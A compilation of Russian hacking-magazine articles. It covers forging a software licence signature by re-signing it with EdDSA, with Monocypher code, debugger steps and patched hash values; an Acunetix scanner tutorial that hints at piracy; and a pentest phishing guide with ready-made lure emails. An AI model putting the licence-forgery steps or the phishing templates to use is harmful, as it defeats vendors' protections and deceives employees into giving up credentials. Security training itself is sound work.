  crypto_eddsa_key_pair(secret_key, public_key, seed);

Имеем на выходе:

Публичный ключ
19 d3 d9 19 47 5d ee d4 69 6b 5d 13 01 81 51 d1
af 88 b2 bd 3b cf f0 48 b4 50 31 c1 f3 6d 18 58

Секретный ключ
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
19 d3 d9 19 47 5d ee d4 69 6b 5d 13 01 81 51 d1
af 88 b2 bd 3b cf f0 48 b4 50 31 c1 f3 6d 18 58

Как видишь, формат хранения секретного ключа у  Monocypher вообще хал‐
турный — хранится только соль от него и сгенерированный публичный ключ.
Во  время всех операций с  секретным ключом он тупо восстанавливается
из  соли, но  нам как‑то пофиг: все равно секретный ключ дальше этого тес‐
тового кода не  пойдет. Теперь попробуем подписать полученным ключом
новую лицензию. Для  этого воспользуемся кодом процедуры

:crypto_eddsa_sign

// secret_key — только что сгенерированный секретный ключ
      void crypto_eddsa_sign(u8 signature [64], const u8 secret_key[64],

                       // Совершенно любое сообщение любой длины, 
по сути, оно требуется нам чисто как соль для r

                          const u8 *message, size_t message_size)
{
      u8 a[64]; // secret scalar and prefix
      u8 r[32]; // secret deterministic "random" nonce
      u8 h[32]; // publically verifiable hash of the message (not 
wiped)
      u8 R[32]; // first half of the signature (allows overlapping 
inputs)

      crypto_blake2b(a, 64, secret_key, 32);
    crypto_eddsa_trim_scalar(a, a);
           hash_reduce(r, a + 32, 32, message, message_size, 0, 0);
    crypto_eddsa_scalarbase(R, r);
   // Вот в этом месте тормозим отладчиком исполнение и смотрим 
полученные значения r и R
           hash_reduce(h, R, 32, secret_key + 32, 32, message, message_size)
;
     COPY(signature, R, 32);
        crypto_eddsa_mul_add(signature + 32, h, a, r);

   WIPE_BUFFER(a);
   WIPE_BUFFER(r);
}

После вызова  мы имеем следующее:crypto_eddsa_scalarbase

R
07 e9 25 9e 9c d4 2d 1a 7c 61 69 54 00 71 b6 47
ff b7 b9 c8 ee d7 06 8b 76 bf 14 5b 6e 22 f0 28

...и соответствующий ему :r

ec cf 58 70 79 3d f9 ab a3 22 19 8e 8c bb 66 72
38 0d 69 1e f2 2e f8 18 a7 39 fd 22 fb 1a 78 06

Теперь нам предстоит снова пересчитать хеш, но  уже на  основе исправ‐
ленных  и  публичного ключа. Снова запускаем x64dbg, меняем первую

половину сигнатуры на  , а старый публичный ключ — на свежесгенерирован‐

ный. Затем останавливаемся на  точке останова вызова 
и получаем новое значение HASH:

R
R

sub_1401170F0

5F DF 27 01 E9 8D C6 40 B7 A0 2F BD 2B 66 FF F5 1E A4 9D 19 58 8B EF 
F3 8E 8E 1D 99 52 00 F8 07


Заходим обратно в   и  подставляем значение нового хеша
вместо :

monocypher.c
hash_reduce

      void crypto_eddsa_sign(u8 signature [64], const u8 secret_key[64],
                          const u8 *message, size_t message_size)

{
      u8 a[64]; // secret scalar and prefix
      u8 r[32]; // secret deterministic "random" nonce
       

 

u8 h[32] = { 0x5F,0xDF,0x27,0x01,0xE9,0x8D,0xC6,0x40,0xB7,0xA0,
0x2F,0xBD,0x2B,0x66,0xFF,0xF5,0x1E,0xA4,0x9D,0x19,0x58,0x8B,0xEF,0xF3
,0x8E,0x8E,0x1D,0x99,0x52,0x00,0xF8,0x07 };

      u8 R[32]; // first half of the signature (allows overlapping 
inputs)

      crypto_blake2b(a, 64, secret_key, 32);
    crypto_eddsa_trim_scalar(a, a);
           hash_reduce(r, a + 32, 32, message, message_size, 0, 0);
    crypto_eddsa_scalarbase(R, r);
//  hash_reduce(h, R, 32, secret_key + 32, 32, message, message_size)
;
     COPY(signature, R, 32);
        crypto_eddsa_mul_add(signature + 32, h, a, r);

   WIPE_BUFFER(a);
   WIPE_BUFFER(r);
}

На выходе получаем полное значение сигнатуры переподписанной новым
ключом лицензии:

07 e9 25 9e 9c d4 2d 1a 7c 61 69 54 00 71 b6 47
ff b7 b9 c8 ee d7 06 8b 76 bf 14 5b 6e 22 f0 28
a5 9c c9 16 19 78 19 cf 69 c5 65 66 9b e3 c8 3c
03 b0 96 8d 07 a1 e8 80 3d fb e7 3e c6 47 be 02

ВЫВОДЫ

Как видишь, мы научились при  помощи простого модуля Monocypher,
написанного на  C, не  только подписывать свои данные сигнатурой EdDSA,
но  и переподписывать чужие. Конечно, я понимаю, что краткость статьи
не  позволяет охватить множество важных и  интересных моментов исполь‐
зования EdDSA: историю создания, различия и преимущества по сравнению
с обычным EcDSA, особенности генерации ключей и цифровой подписи, быс‐
трую реализацию математических примитивов на  эллиптической кривой
и  многое другое. Если рассказывать обо  всем этом, то материала хватит
на  целую книгу, но  цели написать книгу у  меня нет. Я надеюсь, что предос‐
тавил достаточно ссылок на материалы, с помощью которых любознательный
и  пытливый читатель сможет найти любую интересующую его информацию
об этой технологии.

https://monocypher.org/
https://monocypher.org/download/monocypher.c
https://www.blake2.net/
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ВЗЛОМ

Автоматические сканеры уязвимостей  —
очень полезный инструмент как  для пен‐
тестеров, так и  для DevSecOps. Сегодня я
расскажу о  том, как  использовать на  прак‐
тике один из  самых известных сканеров  —
Acunetix.

Первое, что я хочу сказать, — не стоит излишне полагаться на автоматичес‐
кий сканер уязвимостей как на универсальный инструмент. Когда я вел уроки
или консультировал команды как независимый специалист, я обычно говорил,
что сканеры — это оружие отчаяния для ред‑тимеров и необходимый инстру‐
мент для DevSecOps.

Однако с  тех пор я несколько пересмотрел свою точку зрения. Теперь я
считаю, что сканеры уязвимостей  — это  необходимый минимум и  для red
team, который полезно использовать во  время или  сразу после разведки
либо, если угодно, для расширения поверхности атаки. Ведь руками до всего
дотянуться довольно‑таки сложно, если вообще возможно. Так вот,
Acunetix — мой фаворит в этих вопросах. Он довольно быстрый, достаточно
умный и гибкий для того, чтобы закрыть эту потребность.

INFO

  —
это коммерческий инструмент от компании Invicti
для автоматического сканирования веб‑приложе‐
ний на  уязвимости. Он проверяет веб‑сайты
на  наличие различных типов уязвимостей, таких
как SQL-инъекции, XSS (межсайтовый скриптинг)
и  другие угрозы, которые могут быть исполь‐
зованы злоумышленниками. WVS предоставляет
отчеты о найденных уязвимостях и рекомендации
по  их устранению, что помогает организациям
защитить свои веб‑приложения и данные от атак.

Acunetix WVS (Web Vulnerability Scanner)

Инструмент этот довольно сложный, поэтому мы рассмотрим только
основные его функции, чтобы оценить возможности программы.

УСТАНОВКА

Инструмент этот коммерческий и, разумеется, платный, но  я уверен, что
читатели «Хакера» знают, что с этим делать. Что касается процесса установ‐
ки, то он мало отличается от  инсталляции других программ. Установили,
запустили, активировали. Есть версии Acunetix WVS как  под Windows, так
и  под Linux, так что протестировать этот сканер смогут пользователи обеих
этих операционных систем.

ВХОД В СКАНЕР И РАЗДЕЛЫ

После установки Acunetix откроем браузер и  перейдем по  адресу 

 — интерфейс сканера реализован в виде веб‑приложения.
Программа предложит тебе войти в  систему с  использованием учетной
записи. На главной странице Acunetix показаны общие данные, вроде числа
выполненных сканирований, количества найденных уязвимостей и их типов.

http://
localhost:3443

В главном окне несколько ключевых разделов:
1. : здесь отображается общая информа‐

ция о  текущем состоянии системы, включая результаты последних ска‐
нирований и список ключевых уязвимостей.

Overview (панель управления)

2. : раздел для  добавления целей, которые ты планируешь
сканировать, и управления ими.
Targets (цели)

3. : здесь ты можешь запускать новые сканирования

и отслеживать статус текущих задач.

Scans (сканирования)

4. : раздел для  просмотра отчетов о  проведенных ска‐
нированиях. Этот раздел содержит информацию, которую можно предос‐
тавить в качестве результатов клиенту или руководству.

Reports (отчеты)

5. : конфигурация параметров системы, включая нас‐
тройку интеграций с другими инструментами, такими как CI/CD, и управле‐
ние пользователями.

Settings (настройки)

6. : управление учетными записями и правами дос‐
тупа. Можно создать нескольких пользователей с разными уровнями дос‐
тупа.

Users (пользователи)

7. : настройки интеграции с различными
веб‑файрволами для  автоматической защиты от  найденных уязвимостей.
То есть Acunetix может автоматически исправлять правила у WAF.

WAFs (Web Application Firewalls)

8. : настройка прокси‑сервера,
который будет использоваться для  сканирования. Эта функция полезна,
если ты работаешь в  закрытой сети, или, например, для  анонимизации
трафика. Также можно использовать прокси, если тебе необходимо выб‐
рать определенную геолокацию или подсеть.

Proxy Settings (настройки прокси)

НАСТРОЙКА СКАНИРОВАНИЯ

Настройка параметров сканирования в  Acunetix весьма мудреная. Однако
для  ред‑тимера или  пентестера важны только разделы Targets и  Scans, так
как  они отвечают за  процесс поиска уязвимостей, позволяют добавлять
новые цели и  быстро запускать сканирование с  учетом специфики тестиру‐
емых приложений.

В разделе Targets задается список целей, в Scans — список сканирования.
Обычный алгоритм использования Acunetix довольно прост: создать цель,
запустить сканирование, посмотреть результат. Всё.

Единственное, что путает,  — так это  кнопка New Scan, при  нажатии
на  которую нас перекидывает в  раздел Scans, где вообще нет никаких при‐
вычных конфигураций. А  дело тут в  том, что сначала нужно добавить цель,
а уже затем запускать сканирование.

Добавление цели (Target)
• Переходим в раздел Targets и нажимаем Add Targets.
• Вводим URL домена или  IP-адрес веб‑приложения, которое ты хочешь

просканировать. Если нужно ввести сразу несколько целей, нажимаем Add
another Target столько раз, сколько целей мы хотим добавить.

• Опционально: настроим параметры цели, такие как  путь к  конкретным
ресурсам или  ограничение сканирования по  поддоменам. Можно задать
полный URL для  определенной директории, где лежит веб‑приложение,
а не сканировать весь домен целиком.

• Нажимаем на фиолетовую кнопку Save в правом верхнем углу.

Настройка цели (Target Settings)
После добавления цели можно настроить дополнительные параметры дос‐
тупа к  ней, включая аутентификацию, если она требуется для  доступа
к защищенным страницам. Можно также настроить повторение какой‑то пос‐
ледовательности действий на  странице (щелчки мышью, ввод в  поля форм,
нажатие кнопок). Чтобы подсунуть программе свои куки, используй раздел
Advanced  — Custom Cookies. В  Advanced можно также задать и  кастомные
заголовки.

Раздел Scan Speed дает возможность указать скорость и  количество
потоков сканирования. Функция Import files → API definitions позволяет под‐
ключить API-библиотеку, и тогда сканер заодно выполнит и проверку API.

В этом разделе очень много настроек, но  я описываю лишь те, которые
необходимы для  сканирования или  полезны с  точки зрения пентеста. Боль‐
шинство представленных тут функций предназначены для  корпоративного
сегмента и DevSecOps. Например, функция Scan Engine в контексте Acunetix
относится к  выбору определенного сервера сканирования, на  котором
выполняются задачи поиска уязвимостей. В  корпоративной версии Acunetix
может использовать несколько серверов для  сканирования, и  Scan Engine
позволяет выбрать, какой из этих серверов будет задействован для конкрет‐
ной цели. Это  полезно для  распределения нагрузки и  управления сканиро‐
ванием в  средах с  высокой плотностью веб‑приложений или  в сетях с  нес‐
колькими региональными серверами сканирования.

Site Login
Раздел Site Login на  вкладке Target Settings предназначен для  настройки
аутентификации на веб‑сайтах, которые требуют входа в систему для доступа
к  защищенным страницам. В  этом разделе можно указать учетные данные
(логин и  пароль) для  автоматического входа сканера на  сайт. Также здесь
настраивается тип аутентификации (простая форма, HTTP-аутентификация,
сессии с  cookies) или  задается OAuth, то есть можно указать параметры
для аутентификации через сторонние сервисы, такие как Google.

Есть классная функция Try to  auto-login into the  site, позволяющая ввести
известные кредсы, но по какой‑то причине только одну пару, а не целый сло‐
варь. В процессе сканирования Acunetix будет пробовать вводить их в разные
формы для авторизации.

Также можно использовать предзаписанные сценарии авторизации, pre-
recorded login sequence. Это  такой встроенный «Selenium» с  поддержкой
импорта его скриптов.

INFO

  — это  популярный инструмент
для автоматизации взаимодействия с браузером.
Он позволяет автоматизировать взаимодействие
с  веб‑приложениями, имитируя действия поль‐
зователя, такие как щелчки мышью, ввод данных
в формы, навигация по страницам. Selenium час‐
то используется для  тестирования веб‑приложе‐
ний, чтобы убедиться, что они работают правиль‐
но. Также он поддерживает написание тестов
на  различных языках программирования (нап‐
ример, Python, Java, C#) и может работать с раз‐
ными браузерами — Chrome, Firefox и другими.

Selenium

Технология, похожая на  упрощенный Selenium, используется в  Acunetix
для  записи сложных сценариев взаимодействия с  веб‑приложениями
и  называется . Этот инструмент поз‐

воляет записывать сценарии аутентификации или  логических шагов, таких
как  заполнение форм, переходы по  страницам и  другие взаимодействия
с  приложением, которые можно затем воспроизвести в  процессе сканиро‐
вания. Как и Selenium, он автоматизирует действия пользователя в браузере,
но ориентирован на имитацию действий в самом приложении.

Acunetix Login Sequence Recorder

Business Logic Recorder
  — это  аналогичный инструмент автоматизации,

который позволяет записывать сложные сценарии аутентификации и взаимо‐
действия с  веб‑приложениями. В  Acunetix этот инструмент используется
для создания пошаговых скриптов для работы с приложением, включая такие
действия, как  щелчки мышью в  определенных местах, переходы по  стра‐
ницам, заполнение форм и  другие действия, которые могут вызывать слож‐
ности своей «многоэтапностью».

Business Logic Recorder

Затем эти сценарии могут быть воспроизведены во время сканирования,
что позволяет совершать какие‑то дополнительные действия. Например, экс‐
плуатировать многоступенчатые уязвимости или  тестировать динамические
веб‑приложения, которые требуют более сложного взаимодействия, чем
просто ввод логина и пароля.

Работает эта технология просто: открывается форма, в которой отобража‐
ется подобие браузера. «Накликиваем» в  ней все, что нам требуется, выс‐
тавляем тайм‑ауты событий и  нажимаем «Сохранить». Получается своеоб‐
разный макрос с  записанными действиями, который будет задействован
во время сканирования.

Advanced — HTTP
Раздел HTTP на  вкладке Target Settings позволяет настроить параметры
HTTP-запросов, которые используются при  сканировании веб‑приложения.
Здесь содержатся следующие настройки:
1. HTTP Authentication: используется для настройки базовой или NTLM-аутен‐

тификации. Эта функция позволяет сканеру входить, например, на  внут‐
ренние ресурсы, которые требуют аутентификации через HTTP-заголовки,
предоставляя необходимые учетные данные (имя пользователя и пароль).
Поддерживается NTLM и Kerberos.

2. Подключить SSL-сертификат: тут можно подключить персональный SSL-
сертификат, если в этом есть необходимость.

3. Настроить прокси: если требуется использовать прокси‑сервер для  ска‐
нирования, здесь можно задать соответствующие параметры.

Эти настройки помогают сконфигурировать сканер под те или иные специфи‐
ческие условия.

Настройки при старте
Все, что нужно, мы настроили, теперь приступим к  самому сканированию.
После добавления нескольких целей надо перейти в раздел Targets, выбрать
нужные цели из  списка (можно сразу несколько) и  запустить сканирование
нажатием на кнопку Scan в правом верхнем углу окна программы. Программа
предложит указать интенсивность и  профиль сканирования. Можно исполь‐
зовать настройки по  умолчанию, не  вникая. Из  любопытного здесь только
выбор профиля сканирования — так получится существенно сократить время
работы сканера, сосредоточившись на  чем‑то одном, например исклю‐
чительно на SQLi.

Перед  запуском выбери профиль сканирования (например, Full Scan
или Critical / High Risk), который определяет глубину и типы тестов.

•

Можно также настроить Custom Scan, выбрав специфические проверки
или исключив ненужные тесты.

•

Нажимаем кнопку Create Scans, чтобы запустить сканирование.

ЭКРАН СКАНИРОВАНИЯ

На этом экране собрана вся информация о  том, что именно сканер обна‐
ружил. Экран хода сканирования в Acunetix достаточно прост и понятен инту‐
итивно. Здесь представлены следующие сведения:
1. : показывает ход текущего сканирования,

включая этапы тестирования.

Прогресс сканирования

2. : в  реальном времени отображаются
и обновляются найденные уязвимости, сгруппированные по классу и сте‐
пени риска (низкий, средний, высокий).

Обнаруженные уязвимости

3. : позволяет просмотреть

структуру сайта.

Структура сайта (вкладка Site Structure)

4. : сокращенный лог действий сканера, где фиксируются

все выполняемые шаги и  тесты. Для  просмотра полной версии журнала
можно перейти на вкладку Events.

Журнал событий

5. : кнопки, расположенные сверху в правой части, дают

возможность приостановить или остановить сканирование.

Пауза и остановка

Эти функции позволяют управлять процессом сканирования в реальном вре‐
мени, обеспечивая контроль над его ходом и результатами.

Вкладка Vulnerabilities
Вкладка Vulnerabilities на экране хода сканирования в Acunetix самая важная,
поскольку отображает все обнаруженные уязвимости в  реальном времени.
Она содержит следующие данные:
1. : все найденные уязвимости, сгруппированные

по уровню риска (критический, высокий, средний, низкий).

Список уязвимостей

2. : подробное описание каждой уязвимости, вклю‐

чающее потенциальные последствия и рекомендации по устранению.

Детали уязвимостей

Эта вкладка позволяет детально изучить найденные уязвимости, содержит
детали вроде хедера, приведшего к  уязвимости, и  ответа сервера, под‐
тверждающего уязвимость.

Попасть в  этот раздел можно и  со страницы сканирования определенной
цели либо из  общего раздела Scans: для  этого нужно нажать на  отобража‐
емый показатель условного «уровня опасности», согласно которому выпол‐
няется сортировка по категориям в Acunetix, далее нажать на количество най‐
денных уязвимостей определенного класса. Так, на скриншоте выше показа‐
ны только уязвимости класса Medium.

Для получения деталей нужно выбрать конкретную найденную уязвимость.
Экран разделится пополам, и  на нем отобразятся подробности по  каждой
уязвимости: описание, HTTP хедеров, детали атаки, URL, где была выявлена
проблема.

Раздел Discovered Hosts
Также на  главной странице (вкладка Scan Information на  странице сканиро‐
вания хоста) располагается неприметный раздел Hosts. В нем отображается
список всех хостов, которые были обнаружены при  сканировании текущей
цели. Эти хосты могут включать как основные домены, так и поддомены, а так‐
же IP-адреса, связанные с веб‑приложением. Этот раздел позволяет отсле‐
живать все идентифицированные хосты и  помогает оценить, какие части
инфраструктуры могут быть уязвимыми или  пригодны для  дальнейшего ана‐
лиза. Из них можно сразу выбрать и новые таргеты, просто нажав соответс‐
твующую кнопочку Create Target.

Вкладка Site Structure
Крайне полезную информацию можно почерпнуть из  вкладки краулера Site
Structure на странице сканирования цели. Тут также дублируется информация
обо  всех найденных уязвимостях. Здесь можно посмотреть интересующий
нас скрипт и обнаруженные в нем уязвимости, то есть будут показаны только
уязвимости, относящиеся к определенному URL нашей цели.

Что же полезного тут можно найти? Например, как  видно на  скриншоте,
Acunetix по  какой‑то причине решил, что  совершенно не  инте‐
ресен, и  добавил его в  общий скоринг, как  незначительный объект, а  в
текущем аудите этот файл сыграл ключевую роль. Поэтому не  ленимся
и заходим сюда посмотреть, как устроен исследуемый сайт изнутри.

.htaccess

ЗАКЛЮЧЕНИЕ

Мы разобрались, как  использовать Acunetix для  тестирования на  проник‐
новение. Этот инструмент на  практике дает куда меньше ложных срабаты‐
ваний, чем аналоги. Конечно, он не  в состоянии найти IDOR или, скажем,
какую‑то сложную многоступенчатую уязвимость в  полностью автоматичес‐
ком режиме и без преднастроек.

Но твоя наблюдательность — это единственный инструмент, который спо‐
собен на подобное. Лично мне Acunetix приносил профиты в таких экзотичес‐
ких вещах, как переадресация без завершения работы скрипта. То есть сайт
позволял заходить на страницу и пользоваться админкой, попросту отключив
авторедиректы в  браузере. Думаю, понятно, что при  ручном исследовании
на такое обратить внимание очень непросто.

Несмотря на  сложность программы, запустить сканирование можно
за  пару минут, выбрав нужные настройки несколькими щелчками мыши.
В  этом и  заключается основная ценность Acunetix для  исследователя  — он
заметно экономит время и силы.

https://t.me/CakesCats_com
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ВЗЛОМ

Статья будет полезна пентестерам
и  безопасникам, которые хотят проверить,
умеют ли сотрудники распознавать вре‐
доносные письма. Мы поговорим о  кор‐
поративном о  фишинге с  использованием
электронной почты.

Давай сразу определимся с терминами.
Фишинг  — процесс выманивания конфиденциальной информации
у человека.

•

Социальная инженерия  — манипуляция человеком с  целью побуждения
к действиям, выгодным злоумышленнику.

•

Но так как  в ИБ принято называть фишингом даже подброшенные флешки,
что мне не очень нравится, пусть в сегодняшней статье этот термин олицет‐
воряет всю социальную инженерию, вместе взятую.

Как ты знаешь, существует несколько видов фишинга. Классифицируют их
в  основном по  каналам связи (email-фишинг, вишинг, смишинг); по  видам
воруемых данных (data-фишинг и кража учетных данных); по целевым группам
жертв, например вайлинг (фишинг на топов в организации); по целевому дей‐
ствию, например адвертинг (обман блогеров с  целью угона популярного
канала).

В этой статье мы препарируем фишинг по email, поскольку это самый рас‐
пространенный способ доставки вредоносной нагрузки (

). Но принципы составления векторов подойдут и для других каналов
связи, например соцсетей, мессенджеров, да хоть Почты России.

используется в 92%
случаев

Мы не будем касаться непосредственно вредоносной нагрузки к письмам,
точнее, не  станем разбирать, какой эксплоит использовать при  отправке
«модного» нынче LNK-файла, или  рассматривать получившие новую жизнь
HTML-вложения. И  даже не  будем трогать их комбинацию при  атаках через
протокол Windows Search.

Но зато мы рассмотрим, как писать письма, в которых до 99,5% сотрудни‐
ков переходят по фишинговой ссылке.

Пример результатов учебного фишинга

В статье мы разберем именно контент: кто, что и по какому поводу пишет сот‐
рудникам, чтобы достигнуть своих злонамеренных целей.

Существует три типа атак методами социальной инженерии по электрон‐
ной почте, если различать их по степени массовости:
1. Таргетированная, персонализированная атака под  компанию, отдел,

человека.
2. Массовая, когда непринципиально, какой из  сотрудников в  какой ком‐

пании получит письмо.
3. Смешанная, когда используется небольшая персонализация, например

под бухгалтеров, но письмо рассылается тысячам компаний или заточено
под  конкретную организацию, но  непринципиально, кто именно получит
вредонос.

Когда мы проводим учебные атаки на  сотрудников, мы стараемся реали‐
зовать все три вектора. Например, в векторах 1 и 2 попадается 30–80% сот‐
рудников просто из‑за того, что пользователи доверяют отправителю, так
как в email используется реальный домен организации (если возможна под‐
мена отправителя) или очень похожий на официальный домен.

По большей части в  этой статье мы будем рассматривать атаки типа  2,
но некоторые тексты этих атак пригодятся в векторах 1 и 3. Тип 2 всегда мож‐
но превратить в 1 и 3, задействовав немного смекалки.

Кстати, ты заметил, что еще  с начала статьи я все сужаю и  сужаю рамки
того, что мы будем рассматривать, но при этом статья получилась достаточно
объемной? Социальная инженерия поистине безгранична. В  обновленном
издании  я
рассмотрел сотни векторов, но чувствую, что и этим тема социальной инже‐
нерии не исчерпывается.

книги «Контролируемый взлом. Библия социальной инженерии»

Итак, перейдем непосредственно к  практике  — поговорим о  том,
как использовать социальную инженерию в пентестах и учебных фишинговых
рассылках по электронной почте.

ТЕМА ПИСЬМА

Давай разберем, что можно писать в теме письма, чтобы увеличить доверие
потенциальной «жертвы».

Добавлять  и  . Например, «Re: регламент». Так жертва решит, что
это ответ на ее сообщение или оно было переслано от коллеги.

• Re: Fwd:

Упоминание организации. Например, АО «Ромашка». Увидев название
своей организации в теме, сотрудники чаще открывают письма.

•

Упоминание полностью или  частично ФИО пользователя. Например,
«Получатель Иванов А. И.».

•

Эмоциональные рабочие аспекты. Например, «Новогодние премии»,
«Подарки на корпоративе», «Надбавка».

•

Можно собрать комбо. К  примеру, «Fwd: Список на  увольнение АО
«Ромашка». Адресат — Иванов А. И.».

•

Единственная адекватная причина не открыть письмо с такой темой — не уви‐
деть его.

И еще, если ты целенаправленно не  имитируешь массовый спам,
не  используй смайлики и  кучу символов в  теме. В  корпоративной среде так
общаются редко.

КАКУЮ ПОДПИСЬ И ОФОРМЛЕНИЕ ИСПОЛЬЗОВАТЬ?

Подписи в письмах в пределах одной организации бывают одинаково офор‐
мленные или  самопальные, каждый сам выбирает, как  ему подписаться. Ты
можешь использовать разное оформление писем, в  зависимости от  того,
кого именно ты имитируешь:

во внешних письмах лучше вставлять логотип (для вымышленных орга‐
низаций можно использовать онлайн‑генераторы логотипов, вроде
logoza.ru);

•

если имитируешь внутреннего сотрудника, который пишет коллеге, ста‐
райся использовать единый стиль, принятый в  организации. Узнать его
можно, отправив письмо с каким‑либо запросом на  info@, — кто‑то тебе
да ответит.

•

Совет безопасникам: пробуйте тестировать сотрудников, отправляя еще  и
фишинговые письма с нестандартным оформлением.

ВЫБИРАЕМ КОНТЕКСТ

Под контекстом я понимаю повод, по  которому мы пишем пользователю.
Приведенный ниже перечень взят из  , который поможет тебе
составлять собственные векторы и тексты писем. Далее мы также разберем
примеры контекста подробнее.

генератора СИ

Итак, по какому поводу мы пишем пользователям:
событийные атаки;•
причина;•
запросы;•
вопросы;•
отправка чего‑то;•
изменения в чем‑то;•
желание.•

Вообще, контекст  — это  ключевая составляющая фишинга. Успех на  80%
зависит от того, знаком ли сотрудник с тем, о чем ему пишут. Например, сот‐
рудники в  курсе, что  21  декабря будет корпоратив, и, если начать письмо
с «Коллеги, как вы знаете, 21 декабря у нас будет корпоратив. По ссылке вы
сможете...», успех почти гарантирован.

Или другой вариант, когда пишут юристу и в тексте упоминается какой‑то
бизнес‑процесс, который используется в  его организации. Например,
получатель ожидает, что договоры на проверку ему приходят только от отдела
закупок, и только этим он и занимается — проверяет договоры. Тогда письмо
якобы от  менеджера по  продажам с  просьбой сверить техзадание по  пла‐
нируемой закупке с точки зрения юридической корректности будет выглядеть
странно. Любые нестыковки вызовут у  получателя совершенно ненужные
подозрения.

УСИЛЕНИЕ КОНТЕКСТА

Итак, повод для  письма есть (типичные примеры разберем позже), теперь
его можно усилить. Усиливать мы будем разными эмоциями и  иными пси‐
хологическими приемами, перечень которых приведен ниже. Дальше мы рас‐
смотрим их подробнее и с примерами.

Эмоции: сочувствие, страх, гнев, консерватизм, интерес, радость.•
Давление: авторитет, просьба о помощи, срочность, угроза.•
Желание: бесплатность чего‑то, экономия, деньги.•
Ложь: поддельная переписка, несуществующий разговор, подделка
переписки, подтасовка фактов.

•

Совпадение: когда у жертвы что‑то совпадает со злоумышленником. Нап‐
ример, имя, фамилия, место учебы.

•

Итак, с  вводной частью закончили, теперь рассмотрим разные тексты
и поводы, по которым мы будем писать пользователям.

СОБЫТИЙНЫЕ АТАКИ (EVENT ATTACKS)

Рассмотрим разные примеры таких атак, в зависимости от события.

Чрезвычайная ситуация
То, что широко освещается в  СМИ, становится отличным инфоповодом
для атак. Пандемия коронавируса сошла на нет, мошенники заработали мно‐
го денег, теперь новостная повестка забита другими событиями, и, естес‐
твенно, киберпреступники всех мастей это используют.

Давай немного поностальгируем и  обсудим пандемию какого‑нибудь
коварного вируса. Представим, что эта тема сейчас у всех на устах и СМИ ее
активно обсуждают. Рассмотрим, как  используется новостная повестка
в качестве контекста в фишинговых письмах.

 Скачайте приложение, чтобы отслеживать зараженных

вирусом людей рядом с вами.

• Пример  1.

 Корпоративная поддержка во время пандемии. Для получения
отсрочки по  кредитным платежам, включая ипотеку, подайте заявление,
и вам будет предоставлена такая возможность. Во вложении бланк заяв‐
ления: распечатайте его, заполните и отправьте ответным письмом.

• Пример 2.

 Коллеги, для обеспечения шифрованной связи с удаленными

сотрудниками просьба сегодня скачать программу по  ссылке (ссылка
ведет на  файлообменник или  напрямую на  исполняемый файл). С  зав‐
трашнего дня коммуникация будет проходить через эту программу.

• Пример 3.

 Для нашей организации обслуживающий банк предоставляет

беспроцентный кредит сроком на  1  год, кредитная история заемщиков
не  будет учитываться. В  случае ухудшения финансовой ситуации (а это,
по всем прогнозам, произойдет) кредит будет списан за счет работодате‐
ля. Образец заявления во вложении.

• Пример 4.

 В связи с обновлением правил поведения жителей г. Москвы
(твой целевой город) на  время карантина введена система пропусков.
В случае если вам нужно покинуть квартиру по любому поводу, для получе‐
ния пропуска перейдите по ссылке на сайт Госуслуг и заполните анкету.

• Пример 5.

 Просьба заполнить данные по ссылке для начисления доплат

за удаленную работу.

• Пример 6.

Праздники
Намечается государственный праздник с  последующими выходными? Вот
темы, которые можно использовать:

график работы в праздничные дни;•
тройная компенсация за  работу в  праздники в  рамках мероприятий
по повышению лояльности работников;

•

праздничные дни отменяются, будем работать без выходных.•

Политика
Политически ангажированные получатели с удовольствием открывают ссылки
в письмах, (не)соответствующих их взглядам. Есть спокойные люди, имеющие
мнение о политике, а есть те, кто яростно убеждает других в том, что именно
их мнение единственно правильное. Таких людей легко определить. Они
любят писать капслоком, ставят много восклицательных знаков в  конце
и  оскорбляют оппонентов за  инакомыслие. Вот такие получатели и  будут
нажимать на твои ссылки аж двойным кликом.

Дабы не  будоражить умы соотечественников, приведу пример зарубеж‐
ного фишинга на политическую тему.

Пример фишинга на политическую тему

Если у тебя, как и у меня, с английским плохо, то суть новости в том, что шесть
арабских стран, включая Саудовскую Аравию и Египет, разорвали дипломати‐
ческие отношения с Катаром, обвинив его в дестабилизации региона.

Причина
Что‑то (не) произошло, и  я вам об  этом пишу. Некто сказал, что по  этому
поводу нужно писать именно вам. Например, отправитель так и не дождался
ответа, может, письмо не дошло, поэтому дублирует пакет документов. Или в
техподдержке посоветовали обратиться по  какому‑то вопросу конкретно
к этому сотруднику.

ЯКОБЫ ВЗЛОМ

Приведу пример атаки на физических лиц, в ходе которой злодеи отправляют
электронное письмо, где демонстрируют используемые жертвой логины
и  пароли, утечка которых, скорее всего, произошла ранее. Авторы сооб‐
щения утверждают, что взломали веб‑камеру и засняли, как человек смотрит
порнографические ролики и что делает в это время. Затем мошенники тре‐
буют выкуп в биткоинах за то, чтобы они не рассылали это видео.

В корпоративной среде можно сделать свою версию «якобы взлома»:

«

»

Коллеги, добрый день.
Вчера был обнаружен взлом корпоративной сети. Учетные записи

нескольких сотрудников были скомпрометированы, и  их логины
и пароли оказались у злоумышленников.

В связи с этим срочно нужно сделать следующее:
• Проверьте в  списке ниже, есть ли ваш email среди скомпромети-

рованных.
• Если он есть в списке, срочно смените пароль по ссылке (фишин-

говая ссылка).

Список скомпрометированных email:
abc@xyx.com
abd@xyx.com

И дальше еще десяток адресов, примерно на восьмом месте автоподстанов‐
кой вставляем адрес жертвы.

Все, ждем улова. Если ты делаешь атаку с  обратной связью (когда ты
общаешься с  жертвой, а  не просто отправляешь письмо в  один конец), то
в  конце письма можешь попросить, чтобы ответным сообщением тебя опо‐
вестили, что смена пароля прошла успешно.

Заметки для безопасников
Узнать, попал ли в общий доступ пароль от корпоративной почты вашей ком‐
пании, можно на  . Вписываете ваш домен, подтвержда‐
ете право владения и  получаете уведомления, когда в  сеть утечет связка
email:password.

сайте DomainSearch

Узнать, что кто‑то зарегистрировал домен, похожий на  официальный
домен вашей организации, поможет портал . Монито‐
рить можно как  домены, включающие ваш бренд, так и  модификации офи‐
циального домена, например d0main.ru.

domains-monitor.com

Список уже зарегистрированных доменов, похожих на ваш официальный,
покажет сайт . Если домены реально фишинговые, можно
внести их в черный список защитного ПО организации.

dnstwister.report

ВНЕПЛАНОВАЯ ПРОВЕРКА ОТ СРО

Компаниям, состоящим в каких‑либо саморегулируемых организациях, могут
приходить специфические письма. Пользуйся этим при  проверке сотрудни‐
ков.

Вот пример такого письма с вредоносной ссылкой:

«

»

Добрый день.
Согласно последним жалобам потребителей микрофинансовых

